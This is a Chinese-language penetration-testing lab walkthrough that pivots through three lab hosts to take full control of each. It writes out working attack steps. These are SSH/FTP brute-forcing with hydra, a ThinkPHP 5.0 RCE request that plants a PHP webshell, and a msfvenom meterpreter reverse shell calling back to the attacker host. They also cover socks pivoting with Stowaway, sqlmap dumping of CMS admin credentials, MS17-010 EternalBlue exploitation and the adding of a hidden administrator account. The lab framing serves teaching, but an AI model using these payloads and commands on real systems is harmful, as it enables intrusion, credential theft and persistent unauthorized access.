渗透测试实战 - 外网渗透内网穿透(超详细)

文章目录

  • 实验环境
    • Target1 - Centos7 (web服务)
    • Target2 - Ubuntu (内网web服务)
    • Target3 - Windows7 (客户端)
    • 实验目的
  • 实验步骤
    • 测试Target1
      • 信息收集
        • 22/21端口 弱口令爆破(MSF,hydra)
        • 3306端口
        • 8888端口
        • 80端口
      • 主机信息收集
      • 反弹shell到msf
        • msfvenom生成payload
        • 上传到 Target1 的 /tmp 目录下执行
      • 建立Socks代理
    • 测试Target2
      • 信息收集
        • 21/22端口
        • 8888端口
        • 80端口
      • 主机信息收集
  • 发现存在192.168.33.0/24的内网网段。
    • 测试Target3
      • 信息收集
      • 分析利用
        • 3389端口

实验环境

做到一半环境崩了,IP地址以下面为准

Target1 - Centos7 (web服务)

此主机的IP地址:
192.168.41.136 (模拟公网IP能与物理机通讯)
192.168.22.132

Target2 - Ubuntu (内网web服务)

此主机的IP地址:
192.168.22.133
192.168.33.130

Target3 - Windows7 (客户端)

此主机的IP地址:
192.168.33.33

实验目的

拿下三台主机权限

实验步骤

测试Target1

信息收集

使用dirsearch扫描192.168.41.136的网站目录,发现 http://192.168.41.136/index.php 是Thinkphp框架

渗透测试实战 - 外网渗透内网穿透(超详细)_第1张图片

渗透测试实战 - 外网渗透内网穿透(超详细)_第2张图片

nmap扫描端口

渗透测试实战 - 外网渗透内网穿透(超详细)_第3张图片

渗透测试实战 - 外网渗透内网穿透(超详细)_第4张图片

22/21端口 弱口令爆破(MSF,hydra)

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.41.136
set USER_FILE /root/Desktop/tools/dic_username_ssh.txt
set PASS_FILE /root/Desktop/tools/pwd100.txt
 hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ssh -f

 hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ftp -f

3306端口

不允许远程IP登录

渗透测试实战 - 外网渗透内网穿透(超详细)_第5张图片

8888端口

宝塔界面未知账号密码无法利用

渗透测试实战 - 外网渗透内网穿透(超详细)_第6张图片

80端口

Thinkphp v5.0 存在远程命令执行漏洞,通过命令执行写入一句话,可 GetShell

渗透测试实战 - 外网渗透内网穿透(超详细)_第7张图片

渗透测试实战 - 外网渗透内网穿透(超详细)_第8张图片

php一句话木马 poc

/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put
_contents&vars[1][]=admin123.php&vars[1][]=

使用蚁剑链接成功

渗透测试实战 - 外网渗透内网穿透(超详细)_第9张图片

web服务器成功拿下 (192.168.41.136)

渗透测试实战 - 外网渗透内网穿透(超详细)_第10张图片

主机信息收集

ifconfig 发现存在22网段

上传脚本到 /tmp目录 ,扫描22网段 ping.sh

#!/bin/bash
for num in {1..254};
  do
    ip=192.168.22.$num
    ping -c1 $ip >/dev/null 2>&1
    if [ $? = 0 ];
    then
      echo "$ip" ok
    else
      echo "$ip" fail
    fi
  done

赋予ping.sh 权限,并执行

chmod 777 ping.sh

./ping.sh > ping.txt

但执行不了,不知道是不是环境问题,换另一个方法上传一个fscan内网扫描工具

使用bash反弹shell的方法,反弹到攻击机

渗透测试实战 - 外网渗透内网穿透(超详细)_第11张图片

赋予fscan 权限并执行,发现存活主机 192.168.22.133/132 以及端口开放情况发现192.168.22.133是一个CMS

./fscan_amd64 -h 192.168.22.0/24

渗透测试实战 - 外网渗透内网穿透(超详细)_第12张图片

反弹shell到msf

反弹 Target1 的 Shell 到 MSF

msfvenom生成payload

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.41.130 lport=6666 -f elf -o msf.elf

上传到 Target1 的 /tmp 目录下执行

# 赋予执行权限
chmod 777 msf.elf
# 执行程序
./msf.elf

渗透测试实战 - 外网渗透内网穿透(超详细)_第13张图片

meterpreter > run get_local_subnets 获取网段信息

渗透测试实战 - 外网渗透内网穿透(超详细)_第14张图片

建立Socks代理

获得 Target1 的 meterpreter shell 后,添加到 192.168.22.0/24 网段的路由

run autoroute -s 192.168.22.0/24
run autoroute -p

渗透测试实战 - 外网渗透内网穿透(超详细)_第15张图片

使用 MSF 的 socks5 模块启动 socks 代理服务

msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run

渗透测试实战 - 外网渗透内网穿透(超详细)_第16张图片

配置 proxychains 代理工具

vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

渗透测试实战 - 外网渗透内网穿透(超详细)_第17张图片

也可以使用 stowaway 代理

1、攻击机启动admin监听

./admin -l 4444 -s hack

渗透测试实战 - 外网渗透内网穿透(超详细)_第18张图片

2、Target1启动agent

./agent -c 192.168.41.130:4444 -s hack

渗透测试实战 - 外网渗透内网穿透(超详细)_第19张图片

3、开启socks代理

进入Target1的node节点,使用socks命令开启socks代理

use 0
socks 1080

渗透测试实战 - 外网渗透内网穿透(超详细)_第20张图片

4、编辑 proxychains4.conf 文件

vim /etc/proxychains4.conf

渗透测试实战 - 外网渗透内网穿透(超详细)_第21张图片

5、测试socks代理,使用proxychains工具

渗透测试实战 - 外网渗透内网穿透(超详细)_第22张图片

测试Target2

信息收集

22网段进行内网扫描,

proxychains nmap -sT -Pn -p- -n -T4 192.168.22.133

渗透测试实战 - 外网渗透内网穿透(超详细)_第23张图片

21/22端口

弱口令爆破 爆破不成功

proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 
192.168.22.22 ftp
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 
192.168.22.22 ssh
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 
192.168.22.22 mysql

渗透测试实战 - 外网渗透内网穿透(超详细)_第24张图片

8888端口

宝塔页面无法利用

80端口

上面信息收集发现80端口是个Bagecms的框架,寻找历史漏洞挨个测试发现存在SQL注入漏洞,使用查找到的POC ,使用sqlmap工具进行测试

通过连接代理服务器,可使本地物理机访问内网的web页面,也可以明显看出是bagecms

渗透测试实战 - 外网渗透内网穿透(超详细)_第25张图片

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword

渗透测试实战 - 外网渗透内网穿透(超详细)_第26张图片

爆数据库

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword --dbs

渗透测试实战 - 外网渗透内网穿透(超详细)_第27张图片

爆bagecms的表名

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables

渗透测试实战 - 外网渗透内网穿透(超详细)_第28张图片

爆bage_admin 的列的数据

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump

渗透测试实战 - 外网渗透内网穿透(超详细)_第29张图片

得到后台登录账号密码为:admin/123qwe

使用Proxifier工具设置本地物理机全局代理,使得使用御剑目录扫描工具扫描内网web服务

渗透测试实战 - 外网渗透内网穿透(超详细)_第30张图片

渗透测试实战 - 外网渗透内网穿透(超详细)_第31张图片

通过御剑目录扫描在,访问 /robots.txt 目录发现了目录泄露,访问得到了管理后台的地址

渗透测试实战 - 外网渗透内网穿透(超详细)_第32张图片

渗透测试实战 - 外网渗透内网穿透(超详细)_第33张图片

登录进后台 -> 模板 -> 在 site文件夹 index.php 文件后面添加一句话马 -> 用 蚁剑 配置 socks 代理连接webshell

渗透测试实战 - 外网渗透内网穿透(超详细)_第34张图片

渗透测试实战 - 外网渗透内网穿透(超详细)_第35张图片

成功连接 上线target2目标机器

渗透测试实战 - 外网渗透内网穿透(超详细)_第36张图片

并且为root用户(拿下192.168.22.133 服务器权限)

渗透测试实战 - 外网渗透内网穿透(超详细)_第37张图片

主机信息收集

ifconfig

发现存在192.168.33.0/24的内网网段。

渗透测试实战 - 外网渗透内网穿透(超详细)_第38张图片

使用stowaway二层socks代理

1、在node中开启监听

进入node 0节点,执行listen,设置监听端口,开启监听模式

use 0
listen
1
7070

渗透测试实战 - 外网渗透内网穿透(超详细)_第39张图片

在 Target1 上可以看到 agent 监听了 7070 端口

渗透测试实战 - 外网渗透内网穿透(超详细)_第40张图片

2、Target2连接监听端口

在 Target2 中连接 Target1 监听的 7070 端口

./agent -c 192.168.22.130:7070 -s hack

3、开启Socks代理

admin 接收到新的 node 1 , 进入 node 1 节点开启 socks 代理

渗透测试实战 - 外网渗透内网穿透(超详细)_第41张图片

渗透测试实战 - 外网渗透内网穿透(超详细)_第42张图片

4、修改proxychains4.conf 文件 测试代理

vim /etc/proxychains4.conf  

渗透测试实战 - 外网渗透内网穿透(超详细)_第43张图片

渗透测试实战 - 外网渗透内网穿透(超详细)_第44张图片

创建ping.sh脚本进行内网存活探测 发现192.168.33.33主机存活

#!/bin/bash
for num in {1..254};
  do
    ip=192.168.22.$num
    ping -c1 $ip >/dev/null 2>&1
    if [ $? = 0 ];
    then
      echo "$ip" ok
    else
      echo "$ip" fail
    fi
  done

渗透测试实战 - 外网渗透内网穿透(超详细)_第45张图片

测试Target3

信息收集

proxychains3 nmap -sT -Pn -p- -n -T4 192.168.33.33

渗透测试实战 - 外网渗透内网穿透(超详细)_第46张图片

使用内网扫描工具fscan,进行三网段扫描发现 192.168.33.33为Windows 7 系统,并且存在MS17-010漏洞

渗透测试实战 - 外网渗透内网穿透(超详细)_第47张图片

分析利用

知道了存在MS17-010漏洞,而且这个漏洞永恒之蓝是通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机

打开攻击机的MSF,反弹Target1\2的shell,生成linux系统的木马payload

msfvenom -p linux/x64/meterpreter/bind_tcp lport=5554 -f elf > target1.elf
msfvenom -p linux/x64/meterpreter/bind_tcp lport=5555 -f elf > target2.elf

通过蚁剑上传到服务器目录并执行,得到target1和target2的session,并配置路由

渗透测试实战 - 外网渗透内网穿透(超详细)_第48张图片

渗透测试实战 - 外网渗透内网穿透(超详细)_第49张图片

使用MSF的针对MS17-010的扫描模块进行漏洞检测,发现确实存在MS17-010漏洞

渗透测试实战 - 外网渗透内网穿透(超详细)_第50张图片

利用MS17-010模块进行漏洞攻击

use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

渗透测试实战 - 外网渗透内网穿透(超详细)_第51张图片

use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_psexec) > set payload 
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

渗透测试实战 - 外网渗透内网穿透(超详细)_第52张图片

拿到了target3的session,并且为system权限(192.168.33.33)

渗透测试实战 - 外网渗透内网穿透(超详细)_第53张图片

利用上面的信息收集发现此主机开放了3389远程端口,那么我们可以直接使用物理机进行远程桌面连接

3389端口

# 添加管理员用户
net user test test123 /add
net localgroup administrators test /add
# 查看管理员用户
net localgroup administrators

渗透测试实战 - 外网渗透内网穿透(超详细)_第54张图片

添加完管理用户,使用proxifier软件设置代理

渗透测试实战 - 外网渗透内网穿透(超详细)_第55张图片

渗透测试实战 - 外网渗透内网穿透(超详细)_第56张图片

使用Windows自带的远程软件进行远程连接

渗透测试实战 - 外网渗透内网穿透(超详细)_第57张图片

渗透测试实战 - 外网渗透内网穿透(超详细)_第58张图片

如果有用户正在登录则等30秒自动踢下线

渗透测试实战 - 外网渗透内网穿透(超详细)_第59张图片

渗透测试实战 - 外网渗透内网穿透(超详细)_第60张图片

拿下主机,并且只有一个网段,渗透完成!!!!

你可能感兴趣的:(渗透测试实战教学,linux,漏洞复现,安全,渗透测试,内网渗透测试)